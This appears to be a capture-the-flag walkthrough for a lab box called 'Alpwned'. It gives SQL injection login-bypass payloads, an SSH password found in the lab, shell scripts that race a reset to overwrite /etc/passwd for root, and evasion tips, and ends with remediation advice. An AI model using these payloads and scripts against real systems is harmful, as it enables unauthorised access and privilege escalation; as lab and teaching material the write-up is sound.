Alpwned

1. Navigate to the web application on <target-ip>:80
2. Explore the application structure and identify available pages
3. Notice the login functionality and attempt basic credentials (admin/admin, admin/password, etc.)
4. Examine the login page source code for any hints or comments
5. Try to access the dashboard directly - you'll be redirected to login

1. Test for SQL injection in the login form
2. Try basic SQL injection payloads like ' OR 1=1--
3. Notice that the application blocks common SQL injection patterns:
• Double dashes (--) are blocked
• UNION keyword is blocked
• SQL comments (/*) are blocked
4. Bypass the filters using SQLite-compatible techniques (SQLite doesn't support # comments):
• Use ' OR '1'='1 to avoid comment characters entirely
• Try admin' OR '1'='1 as username with any password
• Alternative: ' OR 1=1 OR 'x'='x (also works without comments)
5. Successfully bypass authentication to gain admin access

1. After successful authentication bypass, access the dashboard
2. The dashboard reveals SSH credentials for the 'ctf' user
3. Note the SSH credentials:
• Username: ctf
• Password: nVqax6z9hjYesbGAQlSceueZPO2gh5a8t5XUYGQbTz8LmaWgwm
4. These credentials are stored in the database and displayed to admin users

1. Use the discovered credentials to SSH into the system:

ssh ctf@<target-ip>

2. When prompted, enter the password: nVqax6z9hjYesbGAQlSceueZPO2gh5a8t5XUYGQbTz8LmaWgwm
3. Once logged in, explore the system and locate the user flag:

cat ~/flag-user.txt

4. Retrieve the first flag: The user flag will be displayed

1. Explore the system for privilege escalation opportunities:

ls -la /etc/passwd
id
sudo -l
find / -perm -4000 2>/dev/null

2. Notice that /etc/passwd is world-writable (666 permissions)
3. This is a critical vulnerability that allows any user to modify system user accounts
4. Check if there are any defensive mechanisms:

ps aux | grep setup
cat /root/setup.sh 2>/dev/null || echo "Cannot read setup.sh"

4. Discover that a background script resets /etc/passwd every 5 seconds, making timing critical

Method 1: Automated UID Modification Script (Most Reliable)

1. Create an automated script that continuously attempts to exploit the writable /etc/passwd file:

# Create the privilege escalation script
cat << 'EOF' > /tmp/privesc.sh
#!/bin/sh
echo "[*] Starting automated privilege escalation..."
echo "[+] Creating modified passwd file..."
# Create the modified passwd file once
cp /etc/passwd /tmp/passwd.tmp 2>/dev/null
sed 's/ctf:x:1000:1000:/ctf:x:0:0:/' /tmp/passwd.tmp > /tmp/passwd.new 2>/dev/null
rm -f /tmp/passwd.tmp

if [ ! -f /tmp/passwd.new ]; then
    echo "[-] Failed to create modified passwd file"
    exit 1
fi

echo "[+] Modified passwd file created. Starting continuous overwrite loop..."
echo "[+] UID will be changed to 0 (root). Use 'su ctf' to escalate."

# Continuously overwrite /etc/passwd with our modified version
while true; do
    cat /tmp/passwd.new > /etc/passwd 2>/dev/null
    sleep 1
done
EOF

2. Make the script executable and run it in the background:

chmod +x /tmp/privesc.sh
/tmp/privesc.sh &

3. Monitor the script output and when successful, switch to root:

# Wait for success message, then escalate
su ctf
# You should now have root privileges

Method 2: One-Liner Race Condition Exploit

1. For advanced users, use a one-liner that races against the reset (avoids temp files in /etc):

# Continuous exploitation loop using cat redirection
while true; do cp /etc/passwd /tmp/p.tmp 2>/dev/null && sed 's/ctf:x:1000:1000:/ctf:x:0:0:/' /tmp/p.tmp > /tmp/p.new 2>/dev/null && cat /tmp/p.new > /etc/passwd 2>/dev/null && rm -f /tmp/p.tmp /tmp/p.new && echo "[+] Exploit successful! Use 'su ctf' to escalate."; sleep 0.1; done &

Key Points for Success:

• The system resets /etc/passwd every 5 seconds with 666 permissions
• Scripts run continuously in background to catch the writable window
• Use 0.1 second sleep to balance success rate vs CPU usage
• Method 1 (UID modification) is most reliable and preserves existing user
• Always run scripts in background (&) to maintain shell access
• Monitor script output to know when exploitation succeeds

1. Once you have root access through either of the above methods, retrieve the root flag:

cat /root/flag-root.txt

2. If you need to verify your root access:

id
whoami
ls -la /root/

3. Retrieve the second flag: The root flag will be displayed
4. If the system resets before you can read the flag, simply re-run the automated script

SQL Injection Alternatives (SQLite Compatible):

• admin' OR '1'='1
• admin' OR 'a'='a
• ' OR 1=1 OR 'x'='x
• ' OR 1=1 LIMIT 1 OFFSET 0 OR '1'='1

Advanced Privilege Escalation Techniques:

• Persistent Background Loop: Continuous monitoring and exploitation
• Multi-Method Scripts: Try multiple exploitation techniques in sequence
• Timing Optimization: Adjust sleep intervals for better success rates
• SUID Binary Creation: Create persistent root access before reset
• Process Monitoring: Watch for setup.sh execution timing
• File Locking: Attempt to lock /etc/passwd during modification

Defensive Evasion:

• Run scripts from /tmp to avoid detection
• Use minimal resource consumption (0.1s sleep)
• Clean up scripts after successful exploitation
• Background execution maintains shell responsiveness

Vulnerabilities Found:

• SQL Injection: Inadequate input validation and filtering
• Weak Filter Bypass: Basic blacklist filtering can be easily circumvented
• File Permission Vulnerability: World-writable /etc/passwd file
• Information Disclosure: SSH credentials stored and displayed in web application
• Insufficient Reset Protection: 5-second reset window allows race condition exploitation
• Predictable Reset Timing: Regular intervals enable automated exploitation

Remediation Strategies:

• Implement parameterized queries to prevent SQL injection
• Use proper access controls for sensitive files like /etc/passwd (644 permissions)
• Implement file integrity monitoring with immediate alerting
• Use immutable file systems for critical system files
• Implement proper authentication and authorization mechanisms
• Regular security audits and penetration testing
• Principle of least privilege for user accounts
• Monitor for suspicious background processes and file modifications
• Implement rate limiting for login attempts
• Use centralized authentication systems instead of local passwd files